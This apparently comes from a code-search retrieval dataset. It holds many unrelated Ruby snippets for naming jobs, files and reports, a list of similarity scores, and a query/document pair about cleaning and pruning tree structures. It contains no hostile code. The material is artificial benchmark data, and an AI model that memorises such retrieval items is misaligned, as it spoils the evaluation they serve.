"def synthesize_job_name\n klass_name = name.scan(/[^:]+/).last\n klass_name = klass_name[/(.+)Job/, 1] || klass_name\n klass_name.scan(/[A-Z][a-z]+/).map(&:downcase).join('_').to_sym\n end",
"def set_job_name(*); end",
"def job_spec_name\n self.job_spec.name\n end",
"def export_file_name(extension)\n \"CompSage Report on #{@survey.job_title.gsub(/[\\\\\\/:\\*\\?\"<>\\|]/,' ')}.#{extension}\"\n end",
"def job_name\n [\n ENV[\"OOD_PORTAL\"], # the OOD portal id\n ENV[\"RAILS_RELATIVE_URL_ROOT\"].to_s.sub(/^\\/[^\\/]+\\//, \"\"), # the OOD app\n token # the Batch Connect app\n ].reject(&:blank?).join(\"/\")\n end",
"def job_title\n @job_title ||= person.job_title&.gsub(/ (a|A)nd /,' & ')&.split(':')&.last&.strip\n end",
"def experiment_filename\n date = DateTime.now.strftime('%Y-%m-%d')\n \"#{date}_Job_#{job.id}\"\n end",
"def get_job_name(file)\n package = \"\"\n job = nil\n default = nil\n if file =~ EXTENSION_RE\n default = $1\n File.readlines(file).each { |s|\n if s =~ /^package ([^;]+)/\n package = $1.chop + \".\"\n elsif s =~ /class\\s+([^\\s(]+).*extends\\s+.*Job/\n unless job and default and (job.downcase == default.downcase)\n #use either the last class, or the one with the same name as the file\n job = $1\n end\n end\n }\n raise \"Could not find job name\" unless job\n \"#{package}#{job}\"\n elsif file =~ /(.*):(.*)/\n begin\n CONFIG[\"namespaces\"][$1] + \".\" + $2\n rescue\n $stderr.puts \"Unknown namespace: #{$1}\"\n exit(1)\n end\n else\n file\n end\nend",
"def export_file_name\n \"#{@hq}#{name}.#{requests}-#{concurrency}.csv\"\n end",
"def display_name\n job_class\n end",
"def name\n return 'XcelEDAReportingandQAQC'\n end",
"def unique_name\n \"#{project.name} / #{name}\"\n end",
"def proper_name\n @proper_name ||= @raw_name.lstrip.sub(CURRENT_BRANCH_REGEX, '')\n end",
"def get_name(name)\n name+\"_#{get_time_stamp}.xlsx\"\n end",
"def slug\n job_id.gsub(/^job_/, '')\n end",
"def projectizeName(filename)\n return ApplicationController.projectizeName(filename)\n end",
"def notification_document_name\n \"notification-report_#{external_id}_#{Time.now.utc.strftime('%Y%m%d%k%M%S')}\"\n end",
"def job\r\n @profile[:gear].soul_crystal.name.gsub(\"Soul of the \", \"\").delete!(\"\\n\\t\")\r\n end",
"def calc_program_name project_symbol\n camel_to_snake_case(project_symbol).downcase\n end",
"def batch_name\n [batch.course.course_name, batch.course.section_name, batch.name].join(' ')\n end",
"def name\n id = arguments&.first&.fetch(:id)\n job_id = arguments&.first&.fetch(:job_id)\n \"Analysis for: #{id}, job=#{job_id}\"\n end",
"def name\n application_job_overrides_method!(__method__)\n\n # default implementation for framework jobs\n job_id\n end",
"def name\n 'Asset Allocation Reporter'\nend",
"def job_queue_name\n 'email'\n end",
"def job_queue_name\n 'email'\n end",
"def unique_format_name\n string_with_id(name.observation_name)\n rescue StandardError\n \"\"\n end",
"def file_name\n prefix = 'broken-links-in-'\n timestamp = Time.now.strftime('_%m-%d_%H-%M-%S')\n prefix + current_branch + timestamp\n end",
"def build_name\n if ENV['TRAVIS_REPO_SLUG']\n \"#{ENV['TRAVIS_REPO_SLUG'][/[^\\/]+$/]}: #{ENV['TRAVIS_JOB_NUMBER']}\"\n elsif ENV['SAUCE_START_TIME']\n ENV['SAUCE_START_TIME']\n else\n \"Ruby-Watir-Selenium: Local-#{Time.now.to_i}\"\n end\n end",
"def get_name\n return \"#{name}\"\n end",
"def wrt_brand_name(title)\n $report_file.puts(title.upcase)\nend",
"def get_case_name\n case_name = ([@obj_name, @report_name] + @report_key_control.get_key_list).join('_')\n end",
"def external_name\n @external_name ||= \"#{normalized_affixe_from_titre}.tex\"\n end",
"def filename\n File.join(%w{public finished-jobs},Digest::SHA1.hexdigest(url)+\".txt\")\n end",
"def unwrap_class_name(job)\n display_class = job.display_class\n\n if %w[ActionMailer::DeliveryJob ActionMailer::MailDeliveryJob]\n .include?(display_class.to_s)\n # The class name was not unwrapped correctly by the +display_class+ method\n job.args[0]['arguments'][0..1].join('#')\n else\n display_class.to_s\n end\n end",
"def display_name\n return '' unless @research_output.is_a?(ResearchOutput)\n return \"#{@research_output.title[0..49]} ...\" if @research_output.title.length > 50\n\n @research_output.title\n end",
"def sanitize_name\n if ['Gene List', 'Cluster'].include?(self.file_type)\n self.name.strip!\n end\n end",
"def adjust_task_output_names_patterns(task) #:nodoc:\n local_name = task.params[:_cb_pipeline][\"0\"][:savename].presence\n global_name = task.params[:_cb_output_renaming_pattern].presence\n if local_name\n task.params[:_cb_output_renaming_pattern] = (local_name || \"\") # crush global name\n else\n task.params[:_cb_pipeline][\"0\"][:savename] = (global_name || \"\")\n end\n end",
"def meeting_report_display_name(meeting_report)\n meeting_display_name(meeting_report)\n end",
"def job_type_name\r\n job_type.job_name rescue nil\r\n end",
"def unique_resource_name(build_option_name, suffix)\n normalised_name = build_option_name.downcase.gsub(/[^a-z]+/, '-')\n \"#{normalised_name}##{suffix}\"\n end",
"def generate_run_name\n return super if CodeRunner::GLOBAL_OPTIONS[:short_run_name]\n @run_name = %[v#@version] + @naming_pars.inject(\"\") do |str, par|\n case par\n when :flux_pars\n str+=\"_flx_#{send(par).map{|k,v| \"#{k}_#{v.to_s[0..8]}\"}.join(\"_\")}}\"\n else\n str+=\"_#{par}_#{send(par).to_s[0...8]}\"\n end\n end\n @run_name = @run_name.gsub(/\\s+/, \"_\").gsub(/[\\/{}\"><:=]/, '') + \"_id_#@id\"\n end",
"def name\n if (@replace_wildcards)\n return AvahiServiceFile.replace_wildcards(@name)\n end\n return @name\n end",
"def basename\n @chart_data.title\n .strip\n .gsub(/\\s+/, '_')\n .downcase\n end",
"def renamed_filename\n @renamed_filename ||= \"CCAZ_WhiteList_#{user.preferred_username}::#{Time.current.to_i}.csv\"\n end",
"def class_name(name)\n name, anchor = name.to_s.split(\"#\", 2)\n name = File.basename(name, \".json\")\n name = name + \"_\" + anchor if anchor.present?\n name.gsub(/[^\\w]/, \"_\").camelcase\n end",
"def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend",
"def cluster_name(cluster)\n server_flavor = cluster[\"flavor\"]\n server_plan = cluster[\"plan\"] || \"free\"\n cluster_name = \"#{service_name}_#{server_flavor}_#{server_plan}\"\n cluster_name.gsub!(/\\W+/, '_')\n cluster_name\n end",
"def format_name\n @site_name ? @site_name : \"\"\n end",
"def default_container_name\n full_release_name.gsub('_', '-')\n end",
"def generate_report_filename(output_dir)\n FileUtils.mkdir_p(output_dir) unless File.directory?(output_dir)\n File.join(output_dir, Settings.register_druids_job.csv_filename)\n end",
"def get_base_name( title_sym = :receipt )\n get_title_names( title_sym ).join(\"_\").gsub(/[òàèùçé^!\"'£$%&?.,;:§°<>]/,'').gsub(/[\\s|]/,'_').gsub(/[\\\\\\/=]/,'-')\n end",
"def csv_test_file_name\n\t\t\"icf_master_tracker_update_test_file.csv\"\n\tend",
"def gen_filename\n name = @issue[\"created\"].strftime(\"%Y-%m-%d-\") + \n @issue[\"title\"].gsub(/\\W+/, \"_\") +\n \".yaml\"\n n = 1\n while File.exist?(File.join(@dir, name))\n name = File.basename(name, \".yaml\") + \"-\" + n.to_s + \".yaml\"\n n += 1\n end\n\n name\n end",
"def flake_denied_prefix(repo, job)\n \"The #{Properties['repo_to_product'][repo]} #{job} job could not be run again for this pull request.\"\nend",
"def name\n file.partition(base).last.gsub(/[_\\/]/, \" \").strip\n end",
"def gen_name\n name.to_s.downcase\n end",
"def make_queue_name(klass)\n name = klass.dup\n name.gsub!(/::/, '/')\n name.gsub!(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2')\n name.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n name.tr!(\"-\", \"_\")\n name.downcase!\n name\n end",
"def construct_metric_name(metric_name, level)\n logger.info \"construct_metric_name:start: metric_name = #{metric_name}, level = #{level}\"\n # The logic for adding 'DF.' is going to be the responsibility of the cron job\n # invoking this ruby script. That way the caller is aware of the\n final_metric_name = \"#{@prefix}.#{@environment}.cache.#{@cloudname}.\"\n\n case level\n when CONST_CLUSTER_LEVEL\n final_metric_name += metric_name\n when CONST_NODE_LEVEL\n final_metric_name += 'nodes'.concat('.').concat( metric_name)\n when CONST_BUCKET_LEVEL\n final_metric_name += 'buckets'.concat('.').concat( metric_name)\n end\n logger.info \"construct_metric_name:end: final_metric_name = #{final_metric_name}\"\n\n return final_metric_name\n end",
"def build_name(name)\n \"_design/#{name}\"\n end",
"def bucket_name\n @timestamp + '.' + bucket_base_name\n end",
"def name\n @name ||= @project.dir.path.match(/.*\\/(.*)$/).nil? ? \"unknown\" : $1\n end",
"def safe_base_package_name\n if project.package_name =~ /\\A[a-z0-9\\.\\+\\-]+\\z/\n project.package_name.dup\n else\n converted = project.package_name.downcase.gsub(/[^a-z0-9\\.\\+\\-]+/, \"-\")\n\n log.warn(log_key) do\n \"The `name' component of IPS package names can only include \" \\\n \"lowercase alphabetical characters (a-z), numbers (0-9), dots (.), \" \\\n \"plus signs (+), and dashes (-). Converting `#{project.package_name}' to \" \\\n \"`#{converted}'.\"\n end\n converted\n end\n end",
"def vm_name\n if !name || name.empty?\n \"#{user.id}-#{project.name.gsub('.','-')}-#{Time.zone.now.to_i.to_s.sub(/^../,'')}\".downcase\n else\n name\n end\n end",
"def get_name(path_name)\n resume_file_name = path_name.downcase.split('/').last\n # Replace 'resume' with whatever comes after the name in that folder\n end_index = resume_file_name.index('resume')\n # This is for the nonanalytics folder\n # first_index = resume_file_name.index(\"_\")\n # end_index = resume_file_name.index('_', first_index + 1)\n name = resume_file_name[0, end_index - 1]\n return name\nend",
"def last_report_file_name(branch = proj_branch)\n ls_report_dir(branch).last\n end",
"def displayName\n fileURL ? super : super.sub(/^[[:upper:]]/) {|s| s.downcase}\n end",
"def name()\n raise \"No name() function defined by report subclass\"\n end",
"def project_name\n \"$PROJECT_NAME v.$PROJECT_VERSION\"\n end",
"def myname(compute)\n\t\t# lookup the name of the running instance\n\t\tinstanceid = Facter.value('ec2_instance_id')\n\t\tif ( instanceid =~ /i-/ )\n\t\t\treturn lookupname(compute,instanceid)\n\t\telse\n\t\t\traise \"ebsvol[aws]->myname: Sorry, I can't find my instanceId - please check Facter fact ec2_instance_id is available\"\n\t\tend\n\t\tnil\n\tend",
"def build_name\n if ENV['CIRCLE_JOB']\n \"#{ENV['CIRCLE_JOB']}: #{ENV['CIRCLE_BUILD_NUM']}\"\n elsif ENV['SAUCE_BUILD_NAME']\n ENV['SAUCE_BUILD_NAME']\n else\n \"Ruby-Cucumber-Selenium: Local-#{Time.now.to_i}\"\n end\nend",
"def set_report_name(r_type,hash)\n \n case r_type\n when 1\n \"#{t(:text_matter)} Time spent\"\n when 2\n \"#{t(:text_matter)} Activity Status\"\n when 3\n \"#{t(:text_matter)} Activity Legal team\"\n when 4\n \"#{t(:text_matter)} Distribution\"\n when 5\n \"#{t(:text_matter)} Duration & Ageing\"\n when 6\n \"#{t(:text_matter)} Master\"\n when 7\n \"Revenue By #{t(:text_matter)} Type\"\n end\n \n end",
"def bundle_resouce_file_name\n self.title.gsub(/\\s/,\"_\")\n end",
"def webistrano_project_name\n self.name.underscore.gsub(/[^a-zA-Z0-9\\-\\_]/, '_')\n end",
"def webistrano_project_name\n self.name.underscore.gsub(/[^a-zA-Z0-9\\-\\_]/, '_')\n end",
"def get_log_basename( data_import_session )\n datafile_base_name = File.basename( data_import_session.file_name ).to_s\n .remove( File.extname( data_import_session.file_name ).to_s )\n \"#{ get_iso_timestamp(data_import_session) }#{ Rails.env == 'development' ? 'prod' : 'dev' }_#{ datafile_base_name }\"\n end",
"def file_name(name)\n name.to_s.gsub(/-/, \"_\").underscore\n end",
"def export_name(export_name = nil)\n @export_name = export_name.downcase if export_name\n @export_name\n end",
"def pretty_name(name)\n case name\n when 'task_base'\n 'task'\n when 'force_success'\n 'forcesuccess'\n when 'force_failure'\n 'forcefailure'\n else\n name\n end\n end",
"def name\n @name ||= filename.split(\".\").first.sub(/^_/, \"\")\n end",
"def current_jobtitle\n self.profiles.map {|p| p.element('jobtitle')}.join(', ')\n end",
"def change_name!\n @project[:name] = \"#{@project[:name]}-PR#{@number}\" if @project[:name]\n @project[:value][:name] = \"#{@project[:value][:name]}-PR#{@number}\" if @project[:value][:name]\n end",
"def my_application_log_name\n \"projects/#{@project_id}/logs/my_application_log\"\n end",
"def cloudid_from_name(ciName)\n if ciName == nil || ciName.empty?\n # There was not a name specified. Just return nothing.\n return ''\n end\n\n # The cloud ID is the second component of the CI name:\n #\n # basename-cloudid-instance\n #\n # Split on the '-' character and take the second to last component\n #\n nameComponents = ciName.split('-',-1)\n\n cloudid = nameComponents[nameComponents.length - 2]\n\n return cloudid\nend",
"def name\n base = config[:name]\n @formatted ? \"#{base} (#{@formatted})\" : base\n end",
"def name\n return \"LA100QAQC\"\n end",
"def report_title; end",
"def report_title; end",
"def make_resource_name project_id, trace_id, span_id\n \"projects/#{project_id}/traces/#{trace_id}/spans/#{span_id}\"\n end",
"def get_trunc_name name\n name[0..3].downcase\n end",
"def jobid_prefix\n @jobid_prefix\n end",
"def prepare_name(name)\n name.to_s.upcase\n end",
"def project_filename\n @filename.sub(Regexp.new(\"^#{Regexp.escape(SimpleCov.root)}\"), \"\")\n end",
"def fix_name(title)\n result = String.new( title )\n # Replace all invalid characters\n for substitution in $INVALID_CHARS_FOR_FILENAME\n result.gsub!(substitution[0], substitution[1])\n end\n result\nend",
"def exchange_name\n \"#{worker_class_name}_#{job_method}\".downcase\n end",
"def full_name\n if @prefix != \"\"\n File.join(@prefix, @name)\n else\n @name\n end\n end",
"def fix_contig_name(name)\n if nil != name.gsub!(/_leftover.*$/,'')\n return name\n elsif name =~ /(.*)_\\d+$/\n return $1\n else \n return name\n end\n end"
] |
[
"0.7248338",
"0.6820897",
"0.6768887",
"0.67313915",
"0.63627213",
"0.6267965",
"0.6105949",
"0.60516924",
"0.5920085",
"0.5904481",
"0.58996475",
"0.5779933",
"0.5767508",
"0.57361823",
"0.5682957",
"0.567658",
"0.5672096",
"0.5666553",
"0.56558",
"0.5650843",
"0.56354606",
"0.5624694",
"0.5597547",
"0.5588118",
"0.5587462",
"0.5560227",
"0.55441636",
"0.55263317",
"0.55263317",
"0.5520622",
"0.5514009",
"0.5480364",
"0.54765034",
"0.5467536",
"0.5428371",
"0.54161197",
"0.5400545",
"0.5374892",
"0.5372251",
"0.53662896",
"0.5363126",
"0.5361681",
"0.53526616",
"0.53513086",
"0.5349632",
"0.5348384",
"0.5346513",
"0.53133565",
"0.5310947",
"0.53018945",
"0.52982914",
"0.529583",
"0.52938634",
"0.5292837",
"0.52847326",
"0.52846473",
"0.52824986",
"0.5277553",
"0.5275971",
"0.52758586",
"0.5274559",
"0.5264979",
"0.52624756",
"0.52551055",
"0.5254955",
"0.5245985",
"0.52455145",
"0.5244488",
"0.5242867",
"0.52343863",
"0.52329856",
"0.5232564",
"0.5228089",
"0.5215293",
"0.5212876",
"0.5211925",
"0.5204912",
"0.5204912",
"0.5198063",
"0.5184844",
"0.5184343",
"0.51800776",
"0.5178113",
"0.51739234",
"0.5169897",
"0.5165984",
"0.51613927",
"0.5152574",
"0.51485413",
"0.51430374",
"0.51430374",
"0.514276",
"0.5142019",
"0.5141277",
"0.51404953",
"0.51350325",
"0.5124347",
"0.5124008",
"0.51168156",
"0.51147705"
] |
0.7777293
|
0
|
clean the tree, for example, eliminates sequence that have only one child (use the child directly).
|
def clean_tree(branch)
branch.children = branch.children.inject(Children.new(branch)) do |r, c|
cc = if c.name == 'sequence' and c.children.size == 1
c.children.first
else
c
end
r << clean_tree(cc)
end
branch
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_tree\n @root = nil # In ruby it will be taken care by garbage collector\n end",
"def clean_children\n\n return unless @children\n\n @children.each do |child_fei|\n #next unless child.is_a?(FlowExpressionId)\n get_expression_pool.remove(child_fei)\n end\n end",
"def remove\n each { |x| x.parent.children.delete(x) }\n end",
"def prune!\n return if root? #you cannot prune the root\n if normal?\n parent.normal_children.delete(self)\n else\n parent.fallback_child = nil\n end\n old_parent = parent\n @parent = nil\n old_parent.prune! if old_parent.useless?\n end",
"def child_tree\n child_check\n child_tree = self.clone\n child_tree.removeFromParent!\n child_tree\n end",
"def clear_node\n self.value = nil\n self.left_child = nil\n self.right_child = nil\n end",
"def trim_tree\n\t\t@corridor_seeds.each { |seed| check_branch(corridor_map[seed]) }\n\tend",
"def delete_tree(tree) # ruby里无效\n return if tree.nil?\n delete_tree(tree.left)\n delete_tree(tree.right)\n tree = nil\nend",
"def remove_child(le)\n\t\t\t@children.delete le\n\t\t\tle.parent = nil\n\t\tend",
"def prune\n # First: prune all children.\n self.each { |_, n| n.prune }\n # Then delete all nil leaf children.\n @succ.clone.each do |key, n|\n delete key if n.val == nil && n.leaf?\n end\n end",
"def test_remove_from_parent_bang\n setup_test_tree\n\n assert(@root.has_children?, \"Should have children\")\n assert(!@root.is_leaf?, \"Root is not a leaf here\")\n\n child1 = @root[0]\n assert_not_nil(child1, \"Child 1 should exist\")\n assert_same(@root, child1.root, \"Child 1's root should be ROOT\")\n assert(@root.include?(child1), \"root should have child1\")\n child1.remove_from_parent!\n assert_same(child1, child1.root, \"Child 1's root should be self\")\n assert(!@root.include?(child1), \"root should not have child1\")\n\n child1.remove_from_parent!\n assert_same(child1, child1.root, \"Child 1's root should still be self\")\n end",
"def clean_tree(root_node)\n return if root_node.elements.nil?\n root_node.elements.delete_if {|node| node.class.name == \"Treetop::Runtime::SyntaxNode\" }\n root_node.elements.each {|node| clean_tree(node) }\nend",
"def clear_children!\n @children.clear\n end",
"def prune_singleton_leaves(tree)\n tree.children.values.each do |child|\n prune_singleton_leaves(child)\n end\n if tree.children.size == 1\n remove_child_if_eligible(tree)\n end\n tree\n end",
"def delete_unwanted_children\n @children.keys.each do |key|\n if(@children[key][:value].class.name === \"Array\")\n if(@children[key][:value].empty?)\n @children.tap { |hs| hs.delete(key) }\n end\n else\n if(@children[key][:value].nil?)\n @children.tap { |hs| hs.delete(key) }\n end\n end\n end\n end",
"def demolish\n @children.each_value(&:demolish)\n end",
"def remove_child node, idx, opts={}\n no('no') unless node.children[idx]\n removed = node.children[idx]\n removed.parent_clear!\n tomb = Tombstone.build removed, opts\n node.children[idx] = tomb\n removed\n end",
"def trim_tree\n @corridor_seeds.each { |seed| check_branch(corridor_map[seed]) }\n end",
"def teardown\n @root.remove!(@left_child1)\n @root.remove!(@right_child1)\n @root = nil\n end",
"def clean(node)\n update node, false, true, nil\n end",
"def normalize\n return if @children.nil?\n old = nil\n children = @children.to_a.dup\n children.each do |child|\n if !old.nil? && old.nodeType == TEXT_NODE &&\n child.nodeType == TEXT_NODE\n old.appendData(child.nodeValue)\n self.removeChild(child)\n else\n if child.nodeType == ELEMENT_NODE\n child.normalize\n end\n old = child\n end\n end\n end",
"def clear\n each_child { |child| child.clear if child.kind_of?(BranchNode) }\n @children.clear\n end",
"def remove_child(node)\n if node.parent == nil\n raise \"this is an orphan\"\n end \n node.parent = nil\n end",
"def orphan_child_categories\n self.children.each do |child|\n child.parent_id = nil\n child.save\n end\n end",
"def test_remove_all_bang\n setup_test_tree\n assert(@root.has_children?, \"Should have children\")\n @root.remove_all!\n\n assert(!@root.has_children?, \"Should have no children\")\n assert_equal(1, @root.size, \"Should have one node\")\n end",
"def remove_finished_children\n # We call #to_a to get a copy of children, since we will remove\n # children in the block. Note that we can't use #delete_if here\n # since #children is a relation enumerator (not the relation list\n # itself)\n children = each_child.to_a\n for child in children\n child, info = child\n if info[:success].evaluate(child)\n remove_child(child)\n end\n end\n end",
"def clear\n @tree.clear\n return 0\n end",
"def remove_child(child_node) \n unless children.include?(child_node) \n raise \"This child does not exist\" \n else \n child_node.parent = nil \n end \n end",
"def remove_empty_leaf\n case\n when @left.empty?\n @right.remove_empty_leaf\n when @right.empty?\n @left.remove_empty_leaf\n else\n self\n end\n end",
"def test_remove_bang\n @root << @child1\n @root << @child2\n\n assert(@root.has_children?, \"Should have children\")\n assert_equal(3, @root.size, \"Should have three nodes\")\n\n @root.remove!(@child1)\n assert_equal(2, @root.size, \"Should have two nodes\")\n @root.remove!(@child2)\n\n assert(!@root.has_children?, \"Should have no children\")\n assert_equal(1, @root.size, \"Should have one node\")\n\n @root << @child1\n @root << @child2\n\n assert(@root.has_children?, \"Should have children\")\n assert_equal(3, @root.size, \"Should have three nodes\")\n\n @root.remove_all!\n\n assert(!@root.has_children?, \"Should have no children\")\n assert_equal(1, @root.size, \"Should have one node\")\n\n # Some negative testing\n @root.remove!(nil)\n assert(!@root.has_children?, \"Should have no children\")\n assert_equal(1, @root.size, \"Should have one node\")\n end",
"def delete_tree_recursion(tree, node_group_id)\n tree[node_group_id].each do |childid|\n delete_tree_recursion(tree, childid)\n end\n #protect against trying to delete the Rootuuid\n delete_node_group(node_group_id) if node_group_id != Rootuuid\n end",
"def remove_parent_if_empty_string\n self[:parent_id] = nil if self[:parent_id] == \"\"\n end",
"def unbranch\n @child\n end",
"def prune\n # prune trees that aren't duped at all, or are too small\n self.hashes.delete_if { |_,nodes| nodes.size == 1 }\n self.hashes.delete_if { |_,nodes| nodes.all?(&:modified?) }\n\n if option[:liberal] then\n prune_liberally\n else\n prune_conservatively\n end\n end",
"def delete_branch\n #we'll get all descendants by level descending order. That way we'll make sure deletion will come from children to parents\n children_to_be_deleted = self.class.find(:all, :conditions => \"id_path like '#{self.id_path},%'\", :order => \"level desc\")\n children_to_be_deleted.each {|d| d.destroy}\n #now delete my self :)\n self.destroy\n end",
"def clear!\n\t\t\tself.tree = []\n\t\t\tself.current = tree\n\t\tend",
"def prune_empty_containers(parent)\n \n parent.children.reverse_each do |container|\n \n # recursively do the same\n prune_empty_containers(container)\n \n # If it is a dummy message with NO children, delete it.\n if dummy_message_without_children?(container)\n # delete container\n parent.remove_child(container)\n # If it is a dummy message with children, delete it \n elsif container.dummy? #&& ( not container.children.empty? )\n # Do not promote the children if doing so would make them\n # children of the root, unless there is only one child.\n if root?(parent) && container.children.size == 1\n promote_container_children_to_current_level(parent, container)\n elsif root?(parent) && container.children.size > 1\n # do not promote its children\n else\n promote_container_children_to_current_level(parent, container)\n end\n end\n end \n end",
"def remove_child(child)\n if @children.delete(child)\n child.parent = nil\n end\n end",
"def remove_act\n # outdent children in case remove_act doesn't delete\n self.children.each do |child|\n child.outdent\n child.remove_act\n end\n \n # check if parent should update completeness\n old_parent = self.parent\n\n self.permissions.destroy_all\n self.destroy\n \n # refresh parent completeness\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end",
"def clear\n @parent = nil\n end",
"def remove_child child\n @children.delete child\n end",
"def destroy\n @parent = nil\n @root = nil\n end",
"def _clean; end",
"def remove_act\n # select rep_parent if it exists\n node = self\n if !self.rep_parent.nil?\n node = self.rep_parent\n end\n\n # outdent children in case remove_act doesn't delete\n node.children.each do |child|\n child.outdent\n child.remove_act\n end\n\n # hold parent in case it need be updated\n old_parent = node.parent\n \n node.repititions.destroy_all\n node.destroy\n\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end",
"def sanitize_children(children)\n children.reject{|node| node.name == \"text\" && node.content.strip.empty?}\n end",
"def process_tree_with_renew\n @process_tree = nil\n process_tree\n end",
"def clear\n @root = nil\n end",
"def remove_illegitimate_children\n puts \"Destroying illegitimate children of response #{id}: #{text}\" if illegitimate_children.length > 1\n illegitimate_children.select {|q| q != child_question }.each do |q|\n puts \" Destroying illegitimate child question #{q.id}: #{q.text}\"\n q.destroy\n end\n end",
"def delete_node(index)\n # find the index of the node and call the block in order to acess the properties\n # and parent required to keep the code DRY\n find(index) do |parent, to_be_deleted, property|\n if to_be_deleted.left_child.nil? and to_be_deleted.right_child.nil?\n # if both the nodes left and right child are nil then this means we can\n # simply remove the node without having to do any extra leg work\n set_replacement(parent, to_be_deleted, nil, property)\n elsif to_be_deleted.right_child.nil?\n # if just the right child is nil then all we have to do is move up the left_child \n replacement = to_be_deleted.left_child\n set_replacement(parent, to_be_deleted, replacement, property) \n elsif to_be_deleted.left_child.nil?\n # if jus the left child is nil then all we have to do is move up the right_child\n replacement = to_be_deleted.right_child\n set_replacement(parent, to_be_deleted, replacement, property) \n else\n # otherwise we need to locate the lowest left child of tree, we store it in a pointer \n # in memory and then delete it from the tree by calling the method again\n replacement = min_left_child(to_be_deleted.right_child)\n delete_node(replacement.key)\n\n # then we assing the node to be deleted left and right child values\n replacement.left_child = to_be_deleted.left_child \n replacement.right_child = to_be_deleted.right_child\n\n # once the replacement node has the correct values and has been removed from its previous\n # position we call the set replacement method on the node to be deleted parent in order\n # to remove it from refrence in the tree\n set_replacement(parent, to_be_deleted, replacement, property)\n end\n end\n end",
"def destroy\n super\n\n @children.each do |_child_name, child_group|\n child_group.each(&:destroy)\n end\n\n @children = {}\n end",
"def delete_min\n @root = delete_min_node(@root)\n end",
"def eliminate_duplicate_parent_child_additions!\n parents_to_add.uniq!\n children_to_add.uniq!\n parents_to_remove.uniq!\n children_to_remove.uniq!\n end",
"def delete_value(value, root = self)\n if root.nil?\n return\n elsif value > root.value\n root.right = delete_value(value, root.right)\n elsif value < root.value\n root.left = delete_value(value, root.left)\n else # i.e. value == root.value\n if root.left.nil? # also catches cases when both child nodes are empty\n root = root.right\n elsif root.right.nil?\n root = root.left\n else\n root = shift_values(root)\n end\n end\n root\n end",
"def remove_unused_leaves\n each_node do |n|\n n.pin([]) if n.weight == 0 && n.children.empty?\n end\n end",
"def remove_from_tree(item, node) \n return rebalance(super(item, node))\n end",
"def recursively_destroy!\n children.each { |c| c.recursively_destroy! }\n destroy\n end",
"def remove(node)\n if node.parent.nil?\n @root = nil\n return\n end\n if node.parent.left == node\n node.parent.left = nil\n elsif node.parent.right == node\n node.parent.right = nil\n end\n end",
"def remove_save_children(data, _current_node = nil)\n current_node = find(data)\n parent = parent_node(data)\n if current_node.left.nil? && current_node.right.nil?\n parent.left = nil if parent.left && parent.left.data == data\n parent.right = nil if parent.right && parent.right.data == data\n current_node.data = nil\n elsif current_node.left.nil? && current_node.right\n parent.left = current_node.right if parent.left && parent.left.data == data\n parent.right = current_node.right if parent.right && parent.right.data == data\n current_node.data = nil\n elsif current_node.left && current_node.right.nil?\n parent.left = current_node.left if parent.left && parent.left.data == data\n parent.right = current_node.left if parent.right && parent.right.data == data\n current_node.data = nil\n elsif current_node.left && current_node.right\n if current_node.right.left.nil?\n current_node.right.left = current_node.left\n current_node.left = nil\n remove_save_children(data)\n else\n tmp = current_node.right.left\n tmp = tmp.left while tmp.left\n tmp.left = current_node.left\n current_node.left = nil\n remove_save_children(data)\n end\n end\n end",
"def prune_from_tree\n return if self.right.nil? || self.left.nil?\n diff = self.right - self.left + 1\n\n #TODO: implemente :dependent option\n # delete_method = acts_as_nested_set_options[:dependent] == :destroy ?\n # :destroy_all : :delete_all\n\n #TODO: implement prune method\n # self.class.base_class.transaction do\n # nested_set_scope.send(delete_method,\n # [\"#{quoted_left_column_name} > ? AND #{quoted_right_column_name} < ?\",\n # left, right]\n # )\n # nested_set_scope.update_all(\n # [\"#{quoted_left_column_name} = (#{quoted_left_column_name} - ?)\", diff],\n # [\"#{quoted_left_column_name} >= ?\", right]\n # )\n # nested_set_scope.update_all(\n # [\"#{quoted_right_column_name} = (#{quoted_right_column_name} - ?)\", diff],\n # [\"#{quoted_right_column_name} >= ?\", right]\n # )\n # end\n end",
"def delete_min\n result = nil\n if @root\n @root, result = delete_min_recursive(@root)\n @root.color = :black if @root\n end\n result\n end",
"def delete_aux(next_node, value)\n return nil if next_node.right_child.nil? && next_node.left_child.nil?\n\n return next_node.left_child if next_node.right_child.nil?\n\n return next_node.right_child if next_node.left_child.nil?\n\n build_tree(in_order_traversal(next_node) - [value])\n end",
"def destroy\n #primitives in structs are without parent\n parent and parent.children.delete self\n end",
"def children() []; end",
"def prune_liberally\n update_masses\n\n hashes_to_prune = Hash.new { |h,k| h[k] = [] }\n\n # record each subtree by subhash, but skip if subtree mass > parent mass\n self.hashes.values.each do |nodes|\n nodes.each do |node|\n tophash = node.structural_hash\n topscore = self.masses[tophash]\n\n node.deep_each do |subnode|\n subhash = subnode.structural_hash\n subscore = self.masses[subhash]\n\n next if subscore and subscore > topscore\n\n hashes_to_prune[subhash] << subnode\n end\n end\n end\n\n # nuke only individual items by object identity\n self.hashes.each do |h,v|\n v.delete_eql hashes_to_prune[h]\n end\n\n # nuke buckets we happened to fully empty\n self.hashes.delete_if { |k,v| v.size <= 1 }\n end",
"def clean\n self.dup.clean!\n end",
"def cleanup(node)\n node = node.root if ::Nokogiri::XML::Document === node\n # remove unwanted tags\n node.xpath(\"//*[@jam='erase']\").each do |n|\n unwrap(n)\n end\n # remove jam attributes\n\n #\n node\n end",
"def unwrap(node)\n node.children.each do |child|\n node.parent << child\n end\n node.remove\n end",
"def destroy_tree_from_leaves\n self.subdirectories.each do |subdirectory|\n subdirectory.destroy_tree_from_leaves\n end\n self.subdirectories.reload\n self.cfs_files.each do |cfs_file|\n cfs_file.destroy!\n end\n self.cfs_files.reload\n self.destroy!\n end",
"def delete\n extract.children.to_a.each(&:extract)\n end",
"def delete(path)\n path = normalize_path(path)\n if path.empty?\n raise 'Empty path'\n elsif path.size == 1\n child = @children.delete(path.first)\n @modified = true if child\n child\n else\n tree = @children[path.first]\n raise 'Not a tree' if tree.type != :tree\n tree.delete(path[1..-1])\n end\n end",
"def cleanup(paths)\n item = path_tree.descend(paths)\n item.cleanup \n save_path_tree\n # print what happened here\n print_depth item\n end",
